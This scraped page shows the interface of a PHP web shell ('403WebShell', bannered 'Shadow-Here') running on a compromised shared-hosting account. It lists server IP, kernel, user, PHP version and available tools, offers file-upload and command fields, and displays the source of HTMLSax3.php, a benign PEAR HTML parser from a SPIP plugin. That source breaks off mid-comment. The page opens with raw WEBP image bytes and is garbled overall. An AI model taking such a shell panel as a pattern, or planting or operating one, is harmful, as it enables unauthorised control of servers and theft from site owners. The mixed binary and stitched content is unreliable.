....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/www/plugins-dist/safehtml/lib/safehtml/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uneseuleoc/www/plugins-dist/safehtml/lib/safehtml/classes//HTMLSax3.php
<?php
/* vim: set expandtab tabstop=4 shiftwidth=4: */
//
// +----------------------------------------------------------------------+
// | PHP Version 4                                                        |
// +----------------------------------------------------------------------+
// | Copyright (c) 1997-2002 The PHP Group                                |
// +----------------------------------------------------------------------+
// | This source file is subject toversion 3.0 of the PHP license,      |
// | that is bundled with this package in the file LICENSE, and is        |
// | available at through the world-wide-web at                           |
// | http://www.php.net/license/3_0.txt.                                  |
// | If you did not receive a copy of the PHP license and are unable to   |
// | obtain it through the world-wide-web, please send a note to          |
// | license@php.net so we can mail you a copy immediately.               |
// +----------------------------------------------------------------------+
// | Authors: Alexander Zhukov <alex@veresk.ru> Original port from Python |
// | Authors: Harry Fuecks <hfuecks@phppatterns.com> Port to PEAR + more  |
// | Authors: Many @ Sitepointforums Advanced PHP Forums                  |
// +----------------------------------------------------------------------+
//
// $Id: HTMLSax3.php,v 1.2 2007/10/29 21:41:34 hfuecks Exp $
//
/**
 * Main parser components
 * @package XML_HTMLSax3
 * @version $Id: HTMLSax3.php,v 1.2 2007/10/29 21:41:34 hfuecks Exp $
 */
/**
 * Required classes
 */
if (!defined('XML_HTMLSAX3')) {
	define('XML_HTMLSAX3', 'XML/');
}
require_once(XML_HTMLSAX3 . 'HTMLSax3/States.php');
require_once(XML_HTMLSAX3 . 'HTMLSax3/Decorators.php');

/**
 * Base State Parser
 * @package XML_HTMLSax3
 * @access protected
 * @abstract
 */
class XML_HTMLSax3_StateParser {
	/**
	 * Instance of user front end class to be passed to callbacks
	 * @var XML_HTMLSax3
	 * @access private
	 */
	var $htmlsax;
	/**
	 * User defined object for handling elements
	 * @var object
	 * @access private
	 */
	var $handler_object_element;
	/**
	 * User defined open tag handler method
	 * @var string
	 * @access private
	 */
	var $handler_method_opening;
	/**
	 * User defined close tag handler method
	 * @var string
	 * @access private
	 */
	var $handler_method_closing;
	/**
	 * User defined object for handling data in elements
	 * @var object
	 * @access private
	 */
	var $handler_object_data;
	/**
	 * User defined data handler method
	 * @var string
	 * @access private
	 */
	var $handler_method_data;
	/**
	 * User defined object for handling processing instructions
	 * @var object
	 * @access private
	 */
	var $handler_object_pi;
	/**
	 * User defined processing instruction handler method
	 * @var string
	 * @access private
	 */
	var $handler_method_pi;
	/**
	 * User defined object for handling JSP/ASP tags
	 * @var object
	 * @access private
	 */
	var $handler_object_jasp;
	/**
	 * User defined JSP/ASP handler method
	 * @var string
	 * @access private
	 */
	var $handler_method_jasp;
	/**
	 * User defined object for handling XML escapes
	 * @var object
	 * @access private
	 */
	var $handler_object_escape;
	/**
	 * User defined XML escape handler method
	 * @var string
	 * @access private
	 */
	var $handler_method_escape;
	/**
	 * User defined handler object or NullHandler
	 * @var object
	 * @access private
	 */
	var $handler_default;
	/**
	 * Parser options determining parsing behavior
	 * @var array
	 * @access private
	 */
	var $parser_options = [];
	/**
	 * XML document being parsed
	 * @var string
	 * @access private
	 */
	var $rawtext;
	/**
	 * Position in XML document relative to start (0)
	 * @var int
	 * @access private
	 */
	var $position;
	/**
	 * Length of the XML document in characters
	 * @var int
	 * @access private
	 */
	var $length;
	/**
	 * Array of state objects
	 * @var array
	 * @access private
	 */
	var $State = [];

	/**
	 * Constructs XML_HTMLSax3_StateParser setting up states
	 * @var XML_HTMLSax3 instance of user front end class
	 * @access protected
	 */
	function __construct (& $htmlsax) {
		$this->htmlsax = & $htmlsax;
		$this->State[XML_HTMLSAX3_STATE_START] = new XML_HTMLSax3_StartingState();

		$this->State[XML_HTMLSAX3_STATE_CLOSING_TAG] = new XML_HTMLSax3_ClosingTagState();
		$this->State[XML_HTMLSAX3_STATE_TAG] = new XML_HTMLSax3_TagState();
		$this->State[XML_HTMLSAX3_STATE_OPENING_TAG] = new XML_HTMLSax3_OpeningTagState();

		$this->State[XML_HTMLSAX3_STATE_PI] = new XML_HTMLSax3_PiState();
		$this->State[XML_HTMLSAX3_STATE_JASP] = new XML_HTMLSax3_JaspState();
		$this->State[XML_HTMLSAX3_STATE_ESCAPE] = new XML_HTMLSax3_EscapeState();
	}

	/**
	 * Moves the position back one character
	 * @access protected
	 * @return void
	 */
	function unscanCharacter() {
		$this->position -= 1;
	}

	/**
	 * Moves the position forward one character
	 * @access protected
	 * @return void
	 */
	function ignoreCharacter() {
		$this->position += 1;
	}

	/**
	 * Returns the next character from the XML document or void if at end
	 * @access protected
	 * @return mixed
	 */
	function scanCharacter() {
		if ($this->position < $this->length) {
			return $this->rawtext[$this->position++];
		}
	}

	/**
	 * Returns a string from the current position to the next occurance
	 * of the supplied string
	 * @param string string to search until
	 * @access protected
	 * @return string
	 */
	function scanUntilString($string) {
		$start = $this->position;
		$this->position = strpos($this->rawtext, $string, $start);
		if ($this->position === FALSE) {
			$this->position = $this->length;
		}
		return substr($this->rawtext, $start, $this->position - $start);
	}

	/**
	 * Returns a string from the current position until the first instance of
	 * one of the characters in the supplied string argument
	 * @param string string to search until
	 * @access protected
	 * @return string
	 * @abstract
	 */
	function scanUntilCharacters($string) {}

	/**
	 * Moves the position forward past any whitespace characters
	 * @access protected
	 * @return void
	 * @abstract
	 */
	function ignoreWhitespace() {}

	/**
	 * Begins the parsing operation, setting up any decorators, depending on
	 * parse options invoking _parse() to execute parsing
	 * @param string XML document to parse
	 * @access protected
	 * @return void
	 */
	function parse($data) {
		if ($this->parser_options['XML_OPTION_TRIM_DATA_NODES']==1) {
			$decorator = new XML_HTMLSax3_Trim(
			$this->handler_object_data,
			$this->handler_method_data);
			$this->handler_object_data =& $decorator;
			$this->handler_method_data = 'trimData';
		}
		if ($this->parser_options['XML_OPTION_CASE_FOLDING']==1) {
			$open_decor = new XML_HTMLSax3_CaseFolding(
			$this->handler_object_element,
			$this->handler_method_opening,
			$this->handler_method_closing);
			$this->handler_object_element =& $open_decor;
			$this->handler_method_opening ='foldOpen';
			$this->handler_method_closing ='foldClose';
		}
		if ($this->parser_options['XML_OPTION_LINEFEED_BREAK']==1) {
			$decorator = new XML_HTMLSax3_Linefeed(
			$this->handler_object_data,
			$this->handler_method_data);
			$this->handler_object_data =& $decorator;
			$this->handler_method_data = 'breakData';
		}
		if ($this->parser_options['XML_OPTION_TAB_BREAK']==1) {
			$decorator = new XML_HTMLSax3_Tab(
			$this->handler_object_data,
			$this->handler_method_data);
			$this->handler_object_data =& $decorator;
			$this->handler_method_data = 'breakData';
		}
		if ($this->parser_options['XML_OPTION_ENTITIES_UNPARSED']==1) {
			$decorator = new XML_HTMLSax3_Entities_Unparsed(
			$this->handler_object_data,
			$this->handler_method_data);
			$this->handler_object_data =& $decorator;
			$this->handler_method_data = 'breakData';
		}
		if ($this->parser_options['XML_OPTION_ENTITIES_PARSED']==1) {
			$decorator = new XML_HTMLSax3_Entities_Parsed(
			$this->handler_object_data,
			$this->handler_method_data);
			$this->handler_object_data =& $decorator;
			$this->handler_method_data = 'breakData';
		}
		// Note switched on by default
		if ($this->parser_options['XML_OPTION_STRIP_ESCAPES']==1) {
			$decorator = new XML_HTMLSax3_Escape_Stripper(
			$this->handler_object_escape,
			$this->handler_method_escape);
			$this->handler_object_escape =& $decorator;
			$this->handler_method_escape = 'strip';
		}
		$this->rawtext = $data;
		$this->length = strlen($data);
		$this->position = 0;
		$this->_parse();
	}

	/**
	 * Performs the parsing itself, delegating calls to a specific parser
	 * state
	 * @param constant state object to parse with
	 * @access protected
	 * @return void
	 */
	function _parse($state = XML_HTMLSAX3_STATE_START) {
		do {
			$state = $this->State[$state]->parse($this);
		} while ($state != XML_HTMLSAX3_STATE_STOP &&
		$this->position < $this->length);
	}
}

/**
 * Parser for PHP Versions equal to or greater than 4.3.0. Uses a faster
 * parsing mechanism than the equivalent PHP < 4.3.0 subclass of StateParser
 * @package XML_HTMLSax3
 * @access protected
 */
class XML_HTMLSax3_StateParser_Gtet430 extends XML_HTMLSax3_StateParser {
	/**
	 * Constructs XML_HTMLSax3_StateParser_Gtet430 defining available
	 * parser options
	 * @var XML_HTMLSax3 instance of user front end class
	 * @access protected
	 */
	function __construct(& $htmlsax) {
		parent::__construct($htmlsax);
		$this->parser_options['XML_OPTION_TRIM_DATA_NODES'] = 0;
		$this->parser_options['XML_OPTION_CASE_FOLDING'] = 0;
		$this->parser_options['XML_OPTION_LINEFEED_BREAK'] = 0;
		$this->parser_options['XML_OPTION_TAB_BREAK'] = 0;
		$this->parser_options['XML_OPTION_ENTITIES_PARSED'] = 0;
		$this->parser_options['XML_OPTION_ENTITIES_UNPARSED'] = 0;
		$this->parser_options['XML_OPTION_STRIP_ESCAPES'] = 0;
	}
	/**
	 * Returns a string from the current position until the first instance of
	 * one of the characters in the supplied string argument.
	 * @param string string to search until
	 * @access protected
	 * @return string
	 */
	function scanUntilCharacters($string) {
		$startpos = $this->position;
		$length = strcspn($this->rawtext, $string, $startpos);
		$this->position += $length;
		return substr($this->rawtext, $startpos, $length);
	}

	/**
	 * Moves the position forward past any whitespace characters
	 * @access protected
	 * @return void
	 */
	function ignoreWhitespace() {
		$this->position += strspn($this->rawtext, " \n\r\t", $this->position);
	}

	/**
	 * Begins the parsing operation, setting up the parsed and unparsed
	 * XML entity decorators if necessary then delegating further work
	 * to parent
	 * @param string XML document to parse
	 * @access protected
	 * @return void
	 */
	function parse($data) {
		parent::parse($data);
	}
}

/**
 * Default NullHandler for methods which were not set by user
 * @package XML_HTMLSax3
 * @access protected
 */
class XML_HTMLSax3_NullHandler {
	/**
	 * Generic handler method which does nothing
	 * @access protected
	 * @return void
	 */
	function DoNothing() {
	}
}

/**
 * User interface class. All user calls should only be made to this class
 * @package XML_HTMLSax3
 * @access public
 */
class XML_HTMLSax3 {
	/**
	 * Instance of concrete subclass of XML_HTMLSax3_StateParser
	 * @var XML_HTMLSax3_StateParser
	 * @access private
	 */
	var $state_parser;

	/**
	 * Constructs XML_HTMLSax3 selecting concrete StateParser subclass
	 * depending on PHP version being used as well as setting the default
	 * NullHandler for all callbacks<br />
	 * <b>Example:</b>
	 * <pre>
	 * $myHandler = new MyHandler();
	 * $parser = new XML_HTMLSax3();
	 * $parser->set_object($myHandler);
	 * $parser->set_option('XML_OPTION_CASE_FOLDING');
	 * $parser->set_element_handler('myOpenHandler','myCloseHandler');
	 * $parser->set_data_handler('myDataHandler');
	 * $parser->parser($xml);
	 * </pre>
	 * @access public
	 */
	function __construct() {
		$this->state_parser = new XML_HTMLSax3_StateParser_Gtet430($this);
		$nullhandler = new XML_HTMLSax3_NullHandler();
		$this->set_object($nullhandler);
		$this->set_element_handler('DoNothing', 'DoNothing');
		$this->set_data_handler('DoNothing');
		$this->set_pi_handler('DoNothing');
		$this->set_jasp_handler('DoNothing');
		$this->set_escape_handler('DoNothing');
	}

	/**
	 * Sets the user defined handler object. Returns a PEAR Error
	 * if supplied argument is not an object.
	 * @param object handler object containing SAX callback methods
	 * @access public
	 * @return mixed
	 */
	function set_object(&$object) {
		if ( is_object($object) ) {
			$this->state_parser->handler_default =& $object;
			return true;
		} else {
			require_once('PEAR.php');
			PEAR::raiseError('XML_HTMLSax3::set_object requires '.
				'an object instance');
		}
	}

	/**
	 * Sets a parser option. By default all options are switched off.
	 * Returns a PEAR Error if option is invalid<br />
	 * <b>Available options:</b>
	 * <ul>
	 * <li>XML_OPTION_TRIM_DATA_NODES: trim whitespace off the beginning
	 * and end of data passed to the data handler</li>
	 * <li>XML_OPTION_LINEFEED_BREAK: linefeeds result in additional data
	 * handler calls</li>
	 * <li>XML_OPTION_TAB_BREAK: tabs result in additional data handler
	 * calls</li>
	 * <li>XML_OPTION_ENTITIES_UNPARSED: XML entities are returned as
	 * seperate data handler calls in unparsed form</li>
	 * <li>XML_OPTION_ENTITIES_PARSED: (PHP 4.3.0+ only) XML entities are
	 * returned as seperate data handler calls and are parsed with
	 * PHP's html_entity_decode() function</li>
	 * <li>XML_OPTION_STRIP_ESCAPES: strips out the -- -- comment markers
	 * or CDATA markup inside an XML escape, if found.</li>
	 * </ul>
	 * To get HTMLSax to behave in the same way as the native PHP SAX parser,
	 * using it's default state, you need to switch on XML_OPTION_LINEFEED_BREAK,
	 * XML_OPTION_ENTITIES_PARSED and XML_OPTION_CASE_FOLDING
	 * @param string name of parser option
	 * @param int (optional) 1 to switch on, 0 for off
	 * @access public
	 * @return boolean
	 */
	function set_option($name, $value=1) {
		if ( array_key_exists($name,$this->state_parser->parser_options) ) {
			$this->state_parser->parser_options[$name] = $value;
			return true;
		} else {
			require_once('PEAR.php');
			PEAR::raiseError('XML_HTMLSax3::set_option('.$name.') illegal');
		}
	}

	/**
	 * Sets the data handler method which deals with the contents of XML
	 * elements.<br />
	 * The handler method must accept two arguments, the first being an
	 * instance of XML_HTMLSax3 and the second being the contents of an
	 * XML element e.g.
	 * <pre>
	 * function myDataHander(& $parser,$data){}
	 * </pre>
	 * @param string name of method
	 * @access public
	 * @return void
	 * @see set_object
	 */
	function set_data_handler($data_method) {
		$this->state_parser->handler_object_data =& $this->state_parser->handler_default;
		$this->state_parser->handler_method_data = $data_method;
	}

	/**
	 * Sets the open and close tag handlers
	 * <br />The open handler method must accept three arguments; the parser,
	 * the tag name and an array of attributes e.g.
	 * <pre>
	 * function myOpenHander(& $parser,$tagname,$attrs=array()){}
	 * </pre>
	 * The close handler method must accept two arguments; the parser and
	 * the tag name e.g.
	 * <pre>
	 * function myCloseHander(& $parser,$tagname){}
	 * </pre>
	 * @param string name of open method
	 * @param string name of close method
	 * @access public
	 * @return void
	 * @see set_object
	 */
	function set_element_handler($opening_method, $closing_method) {
		$this->state_parser->handler_object_element =& $this->state_parser->handler_default;
		$this->state_parser->handler_method_opening = $opening_method;
		$this->state_parser->handler_method_closing = $closing_method;
	}

	/**
	 * Sets the processing instruction handler method e.g. for PHP open
	 * and close tags<br />
	 * The handler method must accept three arguments; the parser, the
	 * PI target and data inside the PI
	 * <pre>
	 * function myPIHander(& $parser,$target, $data){}
	 * </pre>
	 * @param string name of method
	 * @access public
	 * @return void
	 * @see set_object
	 */
	function set_pi_handler($pi_method) {
		$this->state_parser->handler_object_pi =& $this->state_parser->handler_default;
		$this->state_parser->handler_method_pi = $pi_method;
	}

	/**
	 * Sets the XML escape handler method e.g. for comments and doctype
	 * declarations<br />
	 * The handler method must accept two arguments; the parser and the
	 * contents of the escaped section
	 * <pre>
	 * function myEscapeHander(& $parser, $data){}
	 * </pre>
	 * @param string name of method
	 * @access public
	 * @return void
	 * @see set_object
	 */
	function set_escape_handler($escape_method) {
		$this->state_parser->handler_object_escape =& $this->state_parser->handler_default;
		$this->state_parser->handler_method_escape = $escape_method;
	}

	/**
	 * Sets the JSP/ASP markup handler<br />
